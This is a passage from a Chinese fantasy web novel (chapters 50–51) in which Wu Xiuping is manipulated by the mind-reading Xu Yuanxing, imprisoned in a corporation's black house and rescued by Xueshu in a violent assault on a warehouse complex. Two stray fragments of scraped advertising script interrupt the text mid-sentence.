“你怎么不许愿杀死他呢?”许愿星蛊惑道:“再想想你的愿望吧。我的任务要求是让你走出泥潭。你要好好思考,自己堕落的根源到底是什么?是因为你弱吗?不,是你身边都没有一个好人。”
“不如再好好想想自己到底要什么?”许愿星的双腿蛇鳗一般缠绕在伞柄上,乌修平能看到那颗脚踝上的小痣,苹果似地饱满。
“我什么都可以帮你做到。”许愿星低语,“神,我也可以杀给你看。”
51.第五十章
第五十章
已知,许愿星正在做【69-70级】的转职任务。
他再怎么进度神速,也不过70级,连穴鼠都不一定打得过。乌修平自然不会将他的话当真。
至于弑神?天底下最想要弑神的人应当不是他乌修平,而是他的挚友沈曙雀。几乎是每次转职任务走偏门失败,沈曙雀都要骂骂咧咧冲老天爷大骂一大段。走路摔跤,吃饭没吃饱,也要将神扯出来臭骂好几句。
许愿星胆敢对沈曙雀做出弑神的承诺。沈曙雀还真能顺着话梯子,要许愿星给自己杀掉那个瘟疫与疾病之神。
反之。
乌修平对神灵没有什么具体的感觉。他从小是个弃婴,一路平庸得可怕,没有感觉到自己除了脸面外的任何不同。
他转职不顺,可身边的同学也有与他相差不多,七八次才确定职业的人更大有存在。
乌修平人生前二十年,根本没察觉到任何职业升级上的特殊之处,在平庸的大众中,他不特殊,就是中下人群的写照。
在他的惯性思维中,等级卡到15级,怎么也升不上去,可能和神灵压根没关系。
说不准,他就是太平庸,天资太差了呢?
因此,乌修平可以理解许愿星这一系列的举动。他稍微地放低要求,只求许愿星离开后,自己还有复仇和自保的能力,“我不要其他的。”
许愿星反而不依不饶起来,“你真的不再想想?修炼多辛苦啊。你想要什么我直接帮你完成就好了。”
“我真的这么不争气吗?”
乌修平不明白。
他隐约猜测自己确实是太弱,资质太差,让许愿星感觉到完成任务无望。
转职任务多数有时间限制。一旦超出时间,或者错过时间,就要重新来过。
许愿星想要抓紧时间完成任务,无可厚非。站在他的角度,让乌修平发自内心改变心愿,确实是最经济实惠的选择。
乌修平道:“可你帮我,不能解决最根本的问题。我如果不发自内心地感谢你,你的任务也是失败呀。”
“这你可就说错了。”许愿星道:“让人陷入泥潭的原因有很多种。环境、人际关系,但最重要的是一个人的心态:像是你,哪怕你变强了,我也敢说你不会和你想象的一样变强。你生活在这样一个底层的环境,再怎么努力,最终也会被环境深陷。”
“让你本身变强,对我来说不难。”许愿星说着话,雨摇摇晃晃,伞面上的水珠溅到乌修平的脸上,流淌到他沟壑的伤疤上。
乌修平伸出手抚摸下,凉凉的,痒痒的。
鬼使神差,他想到复原镜中的自己。
相由心生。
他如果没有诅咒,原本也该长成那样子吧。
“是因为我身上的诅咒吗?你解不开我身上的诅咒,才不断劝说我改变愿望?”乌修平询问道。
许愿星思考下,还挺认真地回答道:“不。你没有理解我的意思。乌修平,在我眼中弱者和强者不是依据等级和能力分类的。”
“强者,不论是没有长大的强者,还是深陷泥潭的强者,他们都是强者。只需要一个机会,他们就能闯出自己的天地。”
乌修平不理解。
许愿星道:“你的朋友沈曙雀就是个强者。”
“可是。”沈曙雀只有10级。
“她确实只有10级。她要不死,要不向死而生,我正因为这点没有选择她。”许愿星点头说出乌修平的心里话。
接下来,他没有继续描述沈曙雀是如何强,也没有表达乌修平是如何的弱。反而说起一些非常绕圈子的话题,好像刻意避开评价强弱的事情。
“乌修平。想要去除诅咒吗?”许愿星道:“虽然你身上的诅咒很麻烦,但我恰好知道一些偏门的办法。”
“不了。”乌修平放下手,婉拒,“因为我是个弱者,你想要直接帮我。那根本没有改变我的悲剧。”
“因为你的悲剧是你自己。”许愿星叹气,“但我能达成你的目标,就算是完成任务了。”
——我的悲剧是我自己?
乌修平又下意识摸了摸自己的脸。他第一时间想到自己身上的诅咒,自己因诅咒直接形成的面目。
他长得丑陋,是一种悲剧。
可在穷困潦倒的地方长一张好看的脸,也是种悲剧。
况且,他长得不好看,也还是被穴鼠捉走做那种事情。
乌修平顿时心烦意乱。
他并不觉得穴鼠导致自己悲剧的前半生。从某种务实角度看,穴鼠为他提供工作,他能够付出身体,已经是底层人可望不可求的事情。
仁爱院很多药物都是他通过穴鼠的路径找来的,否则这些年病死的孩子的数量还会翻一倍。
乌修平很难定义自己与穴鼠的关系。
他希望穴鼠可以多善待一些自己,他并不是要穴鼠离开自己,他清楚他们这段关系中,真正弱势、卑劣的人是自己,得到好处的人也是他——他很希望穴鼠可以将自己当做真正的爱人,而不是一个随时可以抛弃的X玩具。
“乌修平。”许愿星挡住嘴巴偏过头,“你怎么不说话了?”
乌修平走快一些,水花踩得咯吱咯吱响。
许愿星还在说话,完全摧毁初见时那种神秘的气质。他道:“你刚刚想什么?那个叫做什么老鼠的男人吗?没想到,你居然还想要爱他。”
乌修平错愕,接着气恼转过身,“你有读心技能?!”
“血统继承的技能。”许愿星叹气,“真是令人头疼的感情问题。我不问了。”
“他们不一样。”
“白月光和朱砂痣。我知道。”许愿星咋舌,“一百个穷苦人里才出现一个你这样的情种。”
乌修平恼羞成怒。
他憋着气哐哐快步走在雨里。
许愿星却想到什么有趣的东西,追问:“你和平安生也做过吗?能力得到提高吗?”
“没有!没有没有没有!”乌修平气得大叫,“闭嘴!不要再问我这种问题了。”
雨里,许愿星哈哈笑着,不知为何,他心情很愉快。愚弄乌修平这样的可怜人,让他心情变好了不少。
“沈曙雀呢?”
乌修平:“……闭嘴。”
熟络后,许愿星有很多奇奇怪怪的问题,这些毫不顾忌隐私的问题让乌修平难堪。但幸好,乌修平的窘态多少让许愿星感觉到开心。他到最后还是给出一个地址,告诉乌修平,“聊得真开心。去吧。去这个地址,找找看。我觉得你会有收获的。”
这个地址是成平集团的仓储中心。
当天晚上,乌修平独自前往仓储中心,身份是临时苦力工。还是他熟悉的那一套,晚上配合着大卡车和传输带在各个仓库外搬运重物。
这个时代融合了旧有的机械作业模式,但在一部分贵重物品上,还是需要精细的人工劳力来处理。更别提成平集团仓储中心还兼备储存野怪尸体、分割尸体的作用,仓储中心某几个仓库还保管着集团下拍卖行的物件。
力量型苦力一直在招人。
不过,想要进入仓储中心核心地带,必须是成平集团的签约工。乌修平这种临时苦力最多在外围忙来忙去,给人指挥得团团转。
许愿星全程漂浮在旁边,用了隐身技能,叫其他人都看不到自己。
“你是刺客职业?”乌修平还不知道许愿星的职业。他回忆对方教授自己的技巧,猜测道。
许愿星道:“当然不是。”他用一种很夸张的表现,说自己的职业是偏向心灵类的,技能可以读心、识别谎言等等。“转职任务都会根据职业特性制定。哎。每一次我都要揣测人心,真是太难了。”
乌修平下意识觉得许愿星在骗人。
偏偏这个职业又能解释,为什么许愿星能读心,为什么每次都能拿出市面上没有的资料,为什么许愿星总能准确知道乌修平想要什么。
“隐身技能是刺客职业特有的。”
“严格意义说,这不是隐身,而是‘忽视’。”许愿星解释道:“我只是让其他人忽视我的存在,从心理层面看不到我罢了。这是个长期技能——好了。你在这里有什么收获吗?”
乌修平根本没有任何收获。
他羞愧,很想要许愿星直接把仓储中心的秘密告诉自己。可他同时清楚,这样做,基本就是求着许愿星,默认放弃自己变强的愿望与意志力。
偏偏他又迫切想要寻找到平安生,嘴巴干巴巴,“对不起。我。”
“嘘。”许愿星噤声。下一秒,他消失在空气中,乌修平也完全看不到对方。他的视线被几辆方块大黑车吸引,它们排列有序,穿过最外层的大门。乌修平透过尚未合拢的门缝,看到一栋黝黑的小房子。
那些方块大黑车像是举行某种仪式,按照一定程序依次停在小房子四角。车窗上,倒映出模糊的尖角状的人形,乌修平眯着眼,脑袋受到一击重击。
他忍不住叫出声。
工头卷着毛巾,指着他的鼻子臭骂道:“看什么看。滚去上工。”乌修平捂着后脖,点头哈腰,跑去继续工作。
他心中却不断回忆着大黑车车窗上倒影出的人形——不,其实那不能算真正的人形,只是人类会将拥有五官的生物看错为“人类”。
乌修平打了个寒颤。
“好了。为数不多可以混进去的时机也错过了。”许愿星幸灾乐祸的声音再次闪现。
不过没关系。
乌修平有的是时间和耐心。
他终于意识到,许愿星与其说是等着自己发现什么,不如说是等着自己彻底绝望。
许愿星意在改变乌修平的愿望。
基于此,乌修平也不打算相信许愿星前面说得什么强者弱者理论。他推测许愿星选择自己而非沈曙雀的原因,也非他说得什么强弱,而是沈曙雀的愿望坚定、不可被动摇,是一场不划算的买卖。
乌修平则不同。
他的愿望是灵活的、可以被改编的、可以被操控的。
他太容易动摇了。
天重新下起小雨,乌修平的口罩都变得黏糊起来。休息的空荡,他摘下口罩,在没有人的地方深吸两口气。就是这短促的换气口,路灯闪了两下。乌修平忽得感觉一阵风刮过,就在路灯下一个垂落状的阴影站立着。
他定神,第一反应是自己熬夜出现了幻觉。
接着,乌修平眨眼。这生理性的反应伴随着下一次睁眼,一张脸扑到乌修平的面前,不规则的尖角状阴影投射在男人脸上。乌修平根本来不及看清对方的表
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
情,挥拳,闪身后退。
对方却比他更快,拽下乌修平意图重新戴上的口罩。
“我观察你很久了。”水龙吟看着那张的丑陋到格外有印象的脸。从他找到仁爱院废墟,盯着偶尔回来送物资的乌修平,再到出手。
他确定,这就是平安生二十二年前的救下的孩子。
乌修平下意识要翻出手腕下的匕首,湿润水汽冲到了他的面颊上,他连连打喷嚏。
继而,他失去了意识。
等再次苏醒过来。乌修平坐在那栋黑色的房子面前。王德经理扯掉他脸上的眼罩,扯着一把伞,手背拍打他的脸。
“醒了?”
乌修平恍惚,他终于看清楚那个类似尖角的头部是什么了。那是一件深色的雨披,此时此刻,名为水龙吟的男人正站在雨中,水珠连成串溪流一般从他的雨披上落下来。
他脚边的血洼已经被稀释成淡粉色。
“他真的是平安生救下来的孩子?”
“嗯。”
王德经理头疼极了。他看着乌修平。乌修平这时候才意识到自己身上有着大小不一的伤口,和过去一样,他并没有察觉到疼痛,身体陷入沉睡一般,所有攻击宛若瘙痒。
“他就是。”水龙吟加重音,强调道:“你再试试呗。”
乌修平脸上的伤疤,身上的痂皮都符合目前集团对“痛苦之匣”的侧写。这也是王德经理怎么都想不通的一点。
如果乌修平是痛苦之匣,他不可能不对自己的攻击没反应?可如果他不是,一个正常人怎么可能有这么高的痛苦阀值?
以及,一个人,一个人类的痛苦极限到底在哪里?
“我总不能真把他手指剁下来吧。”王德经理抱怨道:“万一他是真的。难道要我送给大少爷一个残次品吗?我会被杀掉的。”
“再给他补回去。”
“不是这个意思。”王德经理吐槽道:“你这个不会送礼的家伙。一边去。”
雨水冷冷拍打在乌修平的身上,他抬起头。体温涓涓从身上流淌走,许愿星漂浮在雨水中,撑着伞,无声地对他笑。
——这个69级,依旧使用他那名为“忽视”的技能。他脸上玉质的面具牵动几块肌肉,似笑非笑。眼窝以及微微突出的眼球尖四处打转,似乎是很期待后面的事情。
乌修平努力眨眼,想要说话,嘴巴却怎么也张不来。
许愿星。
救我。
救我!
许愿星。许愿星!喂!许愿星!我会死掉的!
乌修平期盼地想着,他也说不上是求助,还是哀求。他在内心无声地急促地一遍一遍呼唤许愿星的名字。他想,会读心术的许愿星不可能接受不到他的恐惧。如果对方愿意,他现在就可以改变愿望。
许愿星。许愿星。
你做到了。你现在该开心了吧!乌修平怨恨地想着。他甚至怀疑许愿星是不是和成平集团的人串联在一起,将自己当做乐子耍着玩。看到王德经理忽然朝自己走来,他骤然思念沈曙雀,那种可怖的强烈的思念与贪婪的求生欲交织在一起。
乌修平咬紧牙关,迫使自己在这一刻表现出英雄似地强大。
王德经理解开他身上的绳索,兄弟似地拍拍他的肩膀,“孩子。”
他的手指向那栋黑房子。乌修平在他的搀扶下,眯起眼。这一次,他比过去都更加清楚看到那栋房子的体积、大小、周围的布局。
四面八方的漆白色巨型仓库爪笼一般包裹住那栋小黑房子,宛若蛋糕包装盒里放了一粒奶茶里的黑珍珠。它们墙面上那种浅色敷衍的白色随着雨幕刷刷发出层薄光,所有的光游蛇一般钻入那小黑房子的墙面与屋顶,黑洞似地吃掉整个中心所有东西。
它只有一层,方正,屋顶是方锥形的,雨水从四面管道发出凶兽的咆哮。
乌修平身体颤抖了下。
王德经理的声音带着一种技能,不断在他耳边响起,“好孩子。进去。”
不!
乌修平内心有一个声音尖叫起来。但他的身体已经不受他自己的控制,他头皮紧绷,手脚比脑袋先迈出去。这在空间中显得格外奇怪,好像他的脑袋被什么东西切断了,每一次都比手脚慢了一拍。他是旧时代变换砍头术的下九流术士,咔咔咔,脑袋一次一次变换在上中下三个档位。
黑房子的大门出现在他面前。
不!乌修平歇斯力竭地尖叫起来,他发不出一点声音。他的牙齿和舌头互相搏击,他自己咬断舌尖,鲜血溢出来,痛觉却迟迟没有跟上。乌修平的双脚与双脚依旧按照某种程式规定,越接近黑峻峻的大门,那种恐惧越在乌修平的内心具象化。
黑色大方车车窗上倒影出的尖角型人影好像就在里面流动。乌修平再也无法忍受,他感觉自己不能进去,那种奇怪的被标注好的恐惧控制着他呐喊着唯一的名字。
许愿星。
许愿星。
门关上了。
王德经理和水龙吟站在雨中,他们沉默地看着那扇大门,像是将什么东西关押好了一般,发出长叹,“我讨厌血肉教派。”
“你们不是合作关系吗?”水龙吟道:“那孩子喜欢平安生。”
“挺好。”王德经理道:“他们可以在里面叙旧了。”
52.第五十一章
第五十一章
地下二十米,穴鼠猛然惊醒。
他从乱糟糟的床铺中抬起头,头发都没有捋顺,脸上残留着印花,四肢发冷,好像做了一个悠长的噩梦。那噩梦并没有具体描述时间地点、谁在做什么,凌乱的片段将穴鼠高高抛起,他的身心与重心都失散在其中。他看到乌修平的脸——那不一定是乌修平的脸,但在看到那张脸的时候,穴鼠会想起乌修平:那婴儿年龄的脸、那属于一个少年的脸,那像被火融化掉的脸,以及一张痛苦歇斯底里像放置在玻璃匣子中的脸。
穴鼠放下脑袋,躺了半个多小时,精神终于从梦境中抽离出来。到这里,他把自己从各种花色的棉被、薄被和衣物中拔出来,摸索着寻找床边摆放着的食物。
这就是乌修平不在时穴鼠的生活。
吃了睡,睡了吃。
他昏天暗地过着每一天,地面上的阳光找不到巢穴,空气也不会在地下流通。这狭窄又舒适的空间,用脚步丈量二十五步就到头,穴鼠闭着眼睛就知道什么东西就在什么地方。
他一直过着这样的日子,直到乌修平来到身边。穴鼠撕开包薯片,盘着腿咔咔吃起来。他随意让零食碎片掉在床铺上,脑子里想出乌修平整理的样子:沉默的男人会抱起自己,一只手托住自己的臀部,另外一只手将被子和各种衣物卷起来。
穴鼠及其喜欢在此时此刻,双腿盘住男人腰或者手臂,半个身体倾覆在男人的肩背上,双手环抱住男人的头或者脸。
仿佛一株攀爬的藤蔓与他的树。
依附。寄生。共存。
穴鼠时常用这种角度去思考乌修平与自己的关系。他断定自己才是现实中的大树,乌修平是攀附他的藤蔓。可换到另外一种凭借感情的世界中,他们的关系又彻底颠倒过来。
——或许,乌修平与我迷失的过去有关系。
这是穴鼠能找出的最好的解释。在这个基础上,他断定他与乌修平可能是恋人、挚友、同窗等等。可他比乌修平大了六岁多,乌修平刚上小学那一年,正是穴鼠从六年制小学毕业升入初中的时候。乌修平读到初中时,穴鼠都该是一个大学将毕业,走入社会的半成年人了。
他与乌修平还能有什么关系?才能让自己如此迷恋那具残破的废物一样的身体?
穴鼠是想不明白的。
在类似独处的时光里,他少有的清醒时候,他仔细想过去,想他与乌修平两人之间的关系,想他为什么一见到这个男人就非要他不可,非要痴缠到癫狂。
“你说呢?”穴鼠用手指碰碰面前的陶瓷老鼠。这东西是个老古董玩具,改装后成为穴鼠与花布小老鼠的远程对话。实不相瞒,这本该是穴鼠的第二个使魔,是花布小老鼠满地打滚撒娇,才撤销穴鼠的打算。
穴鼠边说,边整理思绪,“乌鸦在做什么?”
陶瓷老鼠吱吱乱叫好几声,声音与花布小老鼠一模一样,内容只有穴鼠才听得懂。
穴鼠道:“我知道。他就是这样招花惹草的贱男人。那个什么许愿,我非得把他杀了,剁成肉酱,喂到乌鸦嘴巴里。我让他成天对别的男人说好话。”
花布小老鼠又叫了好几声。
穴鼠道:“管好你自己的棉花屁股。少教育我的感情生活。我才不管你——嗯?书?什么书呢。”
穴鼠翻个身,将被子一条一条翻开,不是的东西全部丢到床下,最后从角落翻出使魔为他咬来的《教你如何恋爱》《99天收获纯真爱情》等一系列地摊文学的合订本。
穴鼠坐着翻了会,冷笑起来,“你让我学这个?你怎么不让乌鸦学呢?臭不要脸。我对他还不算好吗?”
花布小老鼠还要叫唤两下,穴鼠这边已不想听了。他一脚将陶瓷老鼠踹到地上,躺在床上,扯过被子蒙住脸。许久,穴鼠轻悄悄摘掉脸上的被褥。他将那本地摊合订本从中间打开,看两眼,极为恼火地合上。
他才不要学这种东西呢。
作为一个89级的强者,他还没搞清楚自己与乌修平的关系,就冒冒失失舔着脸和对方好,是不是有点太没底线了。穴鼠恼火地想着,他又不是真的对乌修平不好……如果乌修平强大一些,不。只要这个男人资质稍微好一点,自己用药硬生生灌,都能把他的等级拉上来。
不说达到89级这样与自己同等的地位,20级30级也可以。
可乌修平是烂泥扶不上墙。
一想到自己可能毕生都要和这样一个弱者待在一起,穴鼠心里也是恼火的。这种恼火转移到他自己身上,便是恨自己不争气怎么会喜欢上这样一个弱小的男人,同时又恼下半身也太贪吃了点——这种恼火维持不了多久,最终还是抱怨到乌修平身上。穴鼠埋怨乌修平没有自知之明,不会低眉顺眼,不会讨自己欢心。
可怜见的,他是多么好的一个人。
他都情愿做下面那一位,他对乌修平谦让得还不够吗?乌修平为什么不能和皇帝的后妃一样谦卑地讨好自己呢?
不明白。
穴鼠实在是想不明白。
他不是没尝试过换一个思路,让自己见证乌修平最狼狈、最不堪、最丑陋的一面,让自己发现内心厌恶这个男人。
他要断绝情爱,要断绝对乌修平这个男人的所有情感。
然而,那是一场肉眼可见的溃败。
穴鼠知道平安生的存在时,那种溃败就在他心里埋下种子。他看到乌修平谈起平安生这个名字,这个人,脸上涣散出的光辉,他的大脑一片空白。
他不知道要怎么和乌修平表述这种心情,一如他不知道要怎么表述他察觉到他们过去存在某种不为人知晓的关系。
他们是认识的人吗?为什么乌修平没有认出他?为什么他什么都不记得了。
他们是什么关系的人?恋人吗?如果是,那平安生又是什么?
穴鼠将那本地摊恋爱指南合订本盖在脸上。他不知道要做什么,召唤出花布小老鼠,监视乌修平正在做什么。
惨绝人寰的声音传来。
穴鼠坐直了身体,他的眼睛与花布小老鼠那简陋的两颗黑点重叠在一起,没有任何属于人的情感。
*
成平集团仓储中心。
雨掩盖了所有声音。
王德经理与水龙吟一个抽烟一个喝水。他们站在雨中,前面就是那个小黑房子。之前停靠着的黑色大方车依次行驶出去,透过玻璃窗,王德经理和水龙吟都看到车厢内密密麻麻挤压成坨状的数个黑洞,每一个黑洞都依稀可以看出五官的轮廓,那种高度抽象的两个眼睛一个鼻子一个嘴巴的轮廓,随着雨水流淌下的痕迹,在秋日下愈来愈浑浊。
“他们还在找他们心中的‘神子’。”王德经理说着,看向水龙吟,“人类突破100级的日子应该不会太远。搞不好我们能活到目睹人类屠神的那一天。”
“你是说大少爷。”
“自然。”王德经理谈起神秘的大少爷,口吻变了几番,“大少爷初次转职就是神职……血缘教派十几年前可不是这个样子。他们也是很傲气的。喏。现在,还不是
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
想着怎么和少爷搭上线吗?”
“毕竟是神职。”水龙吟附和半句。
双方重新陷入寂静。
深秋,每一滴雨水都蕴含着刺骨凉意。鞋袜上潮湿的水汽由人体温度烘干,紧贴着皮肤。
“是啊。”王德经理慢悠悠地开口,“毕竟……是神职。”
他们大少爷还没有度过89-90级的转职任务,但已经是公认的世界第七的强者。在他之上的六位,四位因89-90级转职任务生死不明,两位虽度过转职任务却都是普通职业,强度与神职无法相比。
89-90级的转职任务到底是什么样子?
会死吗?
没有人知道。
所有职业者只能从自己经历过的转职任务去推测:召唤职业和转职任务都是依据职业者的经历与所思所想自动形成的。
千人千面,千人千职,量身定制,毫不夸张。
王德经理手中的烟抽到了尾巴,在火星烫到手之前,他想起某个细节,转身询问水龙吟,“我记得血缘教派之前的合作是你去做的?他们掌握了双职业的开启窍门?”
“嗯。”
“还真让他们掌握了。真是可怕的教派。”王德经理说着。下一秒,惊雷闪烁。他手中的火星滋滋灼烧起来,指腹上的老茧烫出一个灰白色的洞口。王德经理消失在雨幕中。
水龙吟眼球睁大,雨披下,他抬起头,雨水浇遍脸庞,倒映出天上那个悬浮的人影。
惊雷闪烁。
穴鼠的脸半阴半阳出现在雨幕中,他穿着卡通睡衣,对空扣动响指。
轰鸣大作!
霹雳落入他手,形成一把贯穿天地的长枪。闪电带来的强光与强电刺激得水龙吟喘不过气,已经逃跑出几里地的王德经理更是被卷回原地,他们面面相觑,随后咬住牙,拔出各自的武器,严阵以待,同时抬头看向天空。
穴鼠,这位黑市中的无冕之王随手一掷般,将那枚雷霆长枪扎入正下方的小黑房子中。周围受到波及数十个巨型仓库,其数十米高的墙面发出巨兽踏行的起鸣。它们泛着金属光泽的墙皮从一指裂痕开始,速速扩展成根系庞大的裂痕,数秒之间,地面塌陷,环绕成圈的仓库向外崩开。
价值数亿的资产灰飞烟灭。
而完成这一切的男人正从那栋小黑房子的废墟中,抱出他自己的无价之宝。
“我要把你们剁成肉酱。”穴鼠露出笑容,温柔地说话。巨擘之蛇从他脚下攀起头颅,被击碎的建筑正重新汇聚为他的武器。雷霆数千坠落与地,灰白色的水泥地每一寸地面都被舔抵为焦黑色。雨幕重重中,他的声音也变得迷幻而癫狂——
“都给我,死。”
奇诡白光拦腰而出。水龙吟、王德二人尚未看清楚那到底是雷电、土、雨水、空气,身体宛若折断之枝抛飞出去。白光中,第三道人影却以灯光频闪速度地分解着身体,他身体拆解为无数道光芒,凝聚成两团闪光星团,呈现绞杀时态,居然极快冲向穴鼠!
那,就是许愿星。
他的面板像旧时代老虎机不断切换的图形,数字一个一个往上跳跃,越向上越慢,某种不存在的后推力正将这个男人的等级推向另外两人想都不敢想的存在。
69.
70
80
89!
“哈喽。”许愿星畅快大笑,雨水流淌在玉质面具上,挥发出大量水汽,他的手按在再次组合成功的身体上,兴奋大叫起来,“好久不见!陈无量!我来杀你了!”